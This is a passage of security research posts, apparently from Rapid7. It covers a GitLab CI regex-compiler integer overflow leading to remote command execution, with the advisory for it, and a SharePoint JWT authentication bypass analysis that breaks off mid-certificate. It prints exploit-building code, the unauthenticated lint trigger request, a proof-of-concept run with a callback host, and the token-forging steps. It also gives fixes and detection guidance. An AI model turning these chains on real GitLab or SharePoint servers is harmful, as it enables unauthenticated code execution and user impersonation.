// ... error handling and old-program replacement omitted

/* re.c: rb_reg_onig_match() */
reg = rb_reg_prepare_re(re, str);
// ... use-count bookkeeping omitted
OnigPosition result = match(reg, str, regs, args); // [11] Begin timed match
// ... result cleanup omitted

At [9], Ruby returns the existing program only when its encoding matches the subject. Otherwise, [10] recompiles the source for the subject encoding via Onigmo. Only then does [11] begin timed matching, leaving the unsafe compilation outside the timeout.

Onigmo compiles the regular expression into bytecode, which its source calls pcode. Its regex VM then runs that pcode against each path, so the UTF-8 recompilation at [10] is where the oversized pcode program is created.

The repeated target also carries the bytes that run after the overflow:

# poc.py: build()
# ... prefix setup omitted
target = "(?<=" + "[[:word:]]" * 6 + "".join(character_class(stage) for stage in STAGES)
digits = str(REPEAT_COUNT)
pattern = f"\\A(?>{prefix}(?:{target}){{{digits[0]}(?#){digits[1:]}}}|)\\b\\B"

The six [[:word:]] classes are only the size multiplier. The payload sits in four more character classes generated by character_class(stage). A class such as [abc] compiles to a bitmap with bits set for a, b, and c. The helper works backwards from each desired pcode sequence and chooses class members whose bitmap reproduces those bytes. This puts attacker-controlled VM instructions at the end of every expanded copy.

Crossing INT_MAX

Under UTF-8, one copy of the repeated body is 37,151 bytes. The relevant Onigmo compiler code in Ruby 3.3.12 is:

/* regcomp.c: compile_quantifier_node() */
/* ... earlier quantifier cases omitted */
else if (!infinite && qn->greedy &&
         (qn->upper == 1 || (tlen + SIZE_OP_PUSH) * qn->upper
                                <= QUANTIFIER_EXPAND_LIMIT_SIZE)) { // [12] Signed size check
int n = qn->upper - qn->lower;

  r = compile_tree_n_times(qn->target, qn->lower, reg); // [13] Expand lower copies
if (r) return r;

// ... optional copies omitted
}
/* ... remaining quantifier cases omitted */

With this body size (37,151) and quantifier bound (57,805):

37,151 × 57,805 = 2,147,513,555 = 0x800074d3

That is 29,908 (0x74D4) bytes beyond signed INT_MAX (0x7FFFFFFF). At [12], the negative result satisfies the compiler's “small enough to expand” test. Onigmo enters the expansion path at [13] and emits all 57,805 copies.

The | immediately after {5(?#)7805} makes the repeated body the first alternative and leaves the second alternative empty. Onigmo compiles this | into two pcode branches. An OP_PUSH near the beginning is meant to record the empty alternative as a backtracking target, but does not transfer execution on this path. The first bad transfer is the OP_JUMP emitted after the giant first alternative by the alternation compiler:

/* regcomp.c: compile_tree(), NT_ALT */
/* ... calculate alternation length omitted */
pos = reg->used + len;  /* goal position */

/* ... emit the fallback and first alternative omitted */
if (IS_NOT_NULL(NCDR(node))) {
  len = pos - (reg->used + SIZE_OP_JUMP);
  r = add_opcode_rel_addr(reg, OP_JUMP, len); // [14] Skip empty branch
if (r) break;
}

The jump at [14] should skip the empty alternative and land at the end of the alternation. The compiler calculated pos from the already wrapped length, however. Our build emits the jump at offset 2,147,513,698 with a displacement of -136, sending execution into the first payload bitmap in the last expanded copy, 140 bytes from the end of the pcode.

From character-class bitmap to system()

The wrapped branch now leaves normal generated pcode and enters a controlled character-class bitmap. Onigmo consequently runs the bytes encoded by character_class() as VM instructions, starting the sequence shown here.

Figure 2
Figure 2: From controlled Onigmo pcode to native command execution.

The controlled pcode redirects Onigmo's backtracking stack, which holds saved match state, into the repository path. On a failed match, the VM restores the two values shown in the diagram: the next instruction from the path and FinishCode, a pointer from its bottom stack frame. The first value decides where controlled pcode resumes. The second gives it a known address inside libruby.

The path instruction sends control to the final controlled bitmap. That bitmap adjusts the recovered libruby pointer to a short instruction sequence that passes the path command to system(), then writes that address into match_at()'s native return slot. When the matcher finishes, execution returns through the overwritten slot. FinishCode and the call site are in the same libruby mapping, so the distance between them stays constant under ASLR.

Exploitation

Delivering the branch through CI lint

Once the malicious configuration and path are present on a public branch, GitLab's CI lint API supplies an unauthenticated trigger. The GET form accepts an attacker-selected content_ref, loads .gitlab-ci.yml from that commit, and evaluates it:

GET /api/v4/projects/attacker%2Fpublic-project/ci/lint?content_ref=payload-ref
Host: gitlab.example

The route checks whether the requester may read the public repository, resolves the supplied ref, and passes its CI configuration to the static linter:

get ':id/ci/lint' do
  authorize_read_code! # [17] Read authorization
  not_found! 'Repository' if user_project.empty_repo?

  unauthorized!("This endpoint requires an API authentication") if current_user && !::Current.token_info # [18] Token check

  content_ref = params[:content_ref] || params[:sha] || user_project.repository.root_ref_sha # [19] Select commit
  dry_run_ref = params[:dry_run_ref] || params[:ref] || user_project.default_branch

  commit = user_project.commit(content_ref)
  not_found! 'Commit' unless commit.present?

  content = user_project.repository.blob_data_at(commit.sha, user_project.ci_config_path_or_default)
  result = Gitlab::Ci::Lint
    .new(project: user_project, current_user: current_user, sha: commit.sha)
    .legacy_validate(content, dry_run: params[:dry_run], ref: dry_run_ref) # [20] Run static lint

  present result, with: Entities::Ci::Lint::Result, current_user: current_user, include_jobs: params[:include_jobs]
end

Public visibility makes authorize_read_code! at [17] succeed without credentials, while the condition at [18] does not reject an absent current_user. The selected branch becomes the static linter's input through [19] and [20], without creating a pipeline or contacting a runner. This is why the exploit's trigger can be unauthenticated even though the demonstrated setup requires project write access.

Running a command

The initial Python PoC clones a public project controlled by the operator, creates a payload branch, starts the callback, and sends the lint request:

$ python3 poc.py https://g.example 123 \
    --git-url 'https://oauth2:ATTACKER_TOKEN@g.example/attacker/public-poc.git' \
    --callback-url cb.ex:8000 \
    --cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)

HTTP 502 is expected. The command runs synchronously in a Puma worker. After system() returns, the corrupted worker crashes. GitLab Workhorse, the reverse proxy in front of Puma, sees its Rails backend connection close and returns 502. Puma replaces the worker. The callback output, not the HTTP status, is the success signal.

The target-specific values in this PoC, such as SYSTEM_STEP_COUNT, the number of UTF-8 backward steps from FinishCode to the libruby system() call site, match official GitLab CE 19.4.1 on Linux amd64. Other vulnerable packages or architectures need adjusted pcode and libruby offsets. A little over 2 GiB is required in the worker, and our complete single-node GitLab target needed about 9 GiB available. Low-memory instances may swap, reject the allocation, or invoke the OOM killer.

The fix

GitLab's Ruby backport replaces the multiplication at [12] with a division-based test, which cannot overflow, and rejects compiled programs above roughly 512 MiB:

/* regcomp.c */
#define IS_EXPAND_LIMIT_OK(tlen, n) \
  ((n) <= 0 || (tlen) <= QUANTIFIER_EXPAND_LIMIT_SIZE / (n))

/* ... unrelated compiler declarations omitted */
#define MAX_COMPILED_PROGRAM_SIZE (INT_MAX_LIMIT / 4)

On the patched image, the crafted quantifier remains a compact loop and the request returns a normal false match. The repeat-range double-free fixed in the same release affects an error path and is not part of this chain.

Detection guidance

For the exploitation strategy described in this analysis, correlate:

  1. /var/log/gitlab/gitlab-workhorse/current: a several-second GET /api/v4/projects/<project>/ci/lint?content_ref=<ref>, badgateway: failed to receive response: EOF, and HTTP 502.

  2. A Puma worker crashes or restarts at the same time; any saved trace contains regexp_matcher.rb.

  3. The referenced commit: an (?#)-split repeat, repeated POSIX word classes, and a path containing four-byte UTF-8 characters.

A shell child or roughly 2 GiB worker-memory increase strengthens the match. The undisclosed path may differ.

Mitigation guidance

Self-managed GitLab customers should upgrade to the fixed patch for their release: 19.2.8, 19.3.5, or 19.4.2. As a temporary measure, restrict credential-free access to attacker-writable public projects or block this lint route. Route controls do not repair the vulnerable Ruby compiler.

Please read GitLab's critical patch release for the latest guidance.

CVE-2026-97229: Critical Unauthenticated Remote Code Execution in GitLab

By: Rapid7
13 October 2026 at 07:29

Overview

On October 12, 2026, GitLab published a critical patch release for CVE-2026-97229, an integer overflow or wraparound (CWE-190) in the CI/CD regular expression compiler affecting GitLab Community Edition (CE) and Enterprise Edition (EE). GitLab assigned the vulnerability a CVSSv3.1 score of 10.0. Under certain conditions, a remote attacker can execute arbitrary code on an affected GitLab server through a specially crafted regular expression stored in a malicious CI/CD configuration. While the vendor supplied CVSS score indicates that exploitation is fully unauthenticated, in reproducing the exploit it was noted that an attacker must have a mechanism to plant a malicious CI/CD configuration to a repository prior to triggering the vulnerability. On GitLab instances where new users can self register and create projects, this constraint is removed.

The vulnerability affects self-managed GitLab instances across all deployment types. GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action.

As of this writing, there is no confirmed in-the-wild exploitation of CVE-2026-97229. However, Rapid7 Intelligence has independently reproduced arbitrary code execution on an unpatched, official GitLab CE image. Given the vulnerability's maximum CVSS score, network-accessible trigger, and code execution in a GitLab application worker, Rapid7 recommends upgrading affected self-managed instances on an urgent basis, outside of normal patch cycles.

Technical overview

Rapid7's testing found that an attacker must first be able to commit a malicious CI/CD configuration file .gitlab-ci.yml, and a repository path containing UTF-8 characters to a branch in a public project. For example, an ordinary account can satisfy this prerequisite by creating a public project on a self-managed GitLab instance where that functionality is permitted. 

The crafted regular expression initially compiles in a compact US-ASCII representation and passes GitLab's regular expression validation. When it is evaluated against a specially formed, valid UTF-8 repository path, Ruby's Onigmo regular expression engine recompiles it for the new encoding after those checks have completed. An integer overflow in the compiler's program-size calculation then causes invalid regular expression instructions to be generated. The resulting loss of control-flow integrity can be used to execute attacker-controlled Onigmo VM operations in the Ruby process and run an operating system command as the GitLab git user.

Rapid7 validated the complete chain against the official GitLab 19.4.1 CE Linux amd64 image with address space layout randomization enabled. The same input did not execute against the official patched 19.4.2 CE image. Further root cause and exploit-chain details will be included in a separate Rapid7 technical analysis.

Mitigation guidance

A vendor-provided patch is available to remediate CVE-2026-97229. Organizations running affected self-managed GitLab CE or EE instances should immediately upgrade to a fixed version, without waiting for a regular patch cycle:

Affected GitLab CE/EE versions

Fixed version

All versions from 19.2 before 19.2.8

19.2.8

All versions from 19.3 before 19.3.5

19.3.5

All versions from 19.4 before 19.4.2

19.4.2

GitLab.com has already been updated, and GitLab Dedicated customers do not need to take action. Until affected self-managed instances can be upgraded, restricting anonymous access to public projects and preventing untrusted users from creating or writing to public projects can reduce exposure to the exploit path demonstrated by Rapid7. These controls address only the demonstrated delivery path and do not remediate the vulnerable regular expression compiler.

For the latest mitigation guidance, please refer to GitLab's security advisory.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-97229 with an authenticated vulnerability check expected to be available in today’s (October 13) content release.

Updates

  • October 13, 2026: Initial publication.

    • Added Rapid7 PoC Github repo link.

Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040)

11 August 2026 at 09:00

Overview

On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.

CVE-2026-55040.png

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

⠀

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

Analysis

The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.

A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition's JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.

The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.

SharePoint's S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner "actor token" embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.

The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.

Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPJsonWebSecurityTokenHandlerV2.ValidateToken(System.IdentityModel.Tokens.SecurityToken token) (IL=0x01BC, Native=0x00007FFC730AA430+0x4A2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(System.Web.HttpContext httpContext, out Microsoft.SharePoint.IdentityModel.SPIncomingTokenContextV2 tokenContext, out Microsoft.SharePoint.IdentityModel.SPIdentityProofToken identityProofToken) (IL=???, Native=0x00007FFC730A2A70+0x9FB)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.ConstructIClaimsPrincipalAndSetThreadIdentity(System.Web.HttpApplication httpApplication, System.Web.HttpContext httpContext, Microsoft.SharePoint.IdentityModel.SPFederationAuthenticationModuleV2 fam, out string tokenType) (IL≈0x0041, Native=0x00007FFC730A1860+0xB2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.AuthenticateRequest(object sender, System.EventArgs e) (IL≈0x0139, Native=0x00007FFC7196F9D0+0x3E4)
 	System.Web.dll!System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL=0x005D, Native=0x00007FFC71846AE0+0xD1)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFC71846A00+0xB6)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFC71846640+0x5E)
 	System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A, Native=0x00007FFC71842E00+0x77A)
 	System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031, Native=0x00007FFC71842D50+0x83)
 	System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0, Native=0x00007FFC7183C7A0+0x1D3)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131, Native=0x00007FFC7183A4E0+0x41A)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Managed to Native Transition]
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7, Native=0x00007FFC7183A4E0+0x4C1)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Appdomain Transition]

Weakness 1: RequireSignedTokens disabled

The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:

// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;

This single line disables the JWT library's cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.

The full context of the method:

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- [1]
    val.ValidateIssuer = false; // <--- [2]
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- [3]
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.

Weakness 2: Actor token x5t resolution without signature verification

After ReadToken() parses the JWT, SharePoint's custom validation code resolves the actor token's signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- [1]
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- [2]
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- [3]
}

At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token's JWT header:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint's own local Security Token Service (STS) signing certificate, for a thumbprint match:

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- [4]
    {
        return true;
    }
    return false;
}

At [4], the resolver checks the LocalLoginProvider access provider, SharePoint's own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token's x5t header to the thumbprint of SharePoint's STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token's SigningToken property.

At no point in this flow is the actor token's signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.

Weakness 3: Issuer validation accepts unregistered certificates

After setting the actor token's SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]

    if (null == providerBySigningCertificate) // <--- [2]
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint's local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.

At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.

The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint's own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.

Weakness 4: GetTokenSignature non-cryptographic check

The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token's signature is AAAA, a non-empty string, so at [3] it returns "AAAA" without any cryptographic verification that this value is a valid RSA signature.

Summary

The four weaknesses combine as follows:

  1. Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.

  2. The actor token's x5t header contains SharePoint's own STS certificate thumbprint, allowing us to resolve a signing key with no verification.

  3. The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.

  4. The actor token's signature is a non-empty value, e.g. AAAA, which is never verified.

After validation, the outer token's nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.

Our PoC script shows examples of all three mechanisms working.

Walkthrough

We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.

In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:

GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

Which returns the STS signing certificate as part of the response:

HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
request-id: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

For completeness, the parsed x509 certificate is shown below.

Version:          3 (0x02)
Serial number:    146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID:     SHA256withRSA
Validity
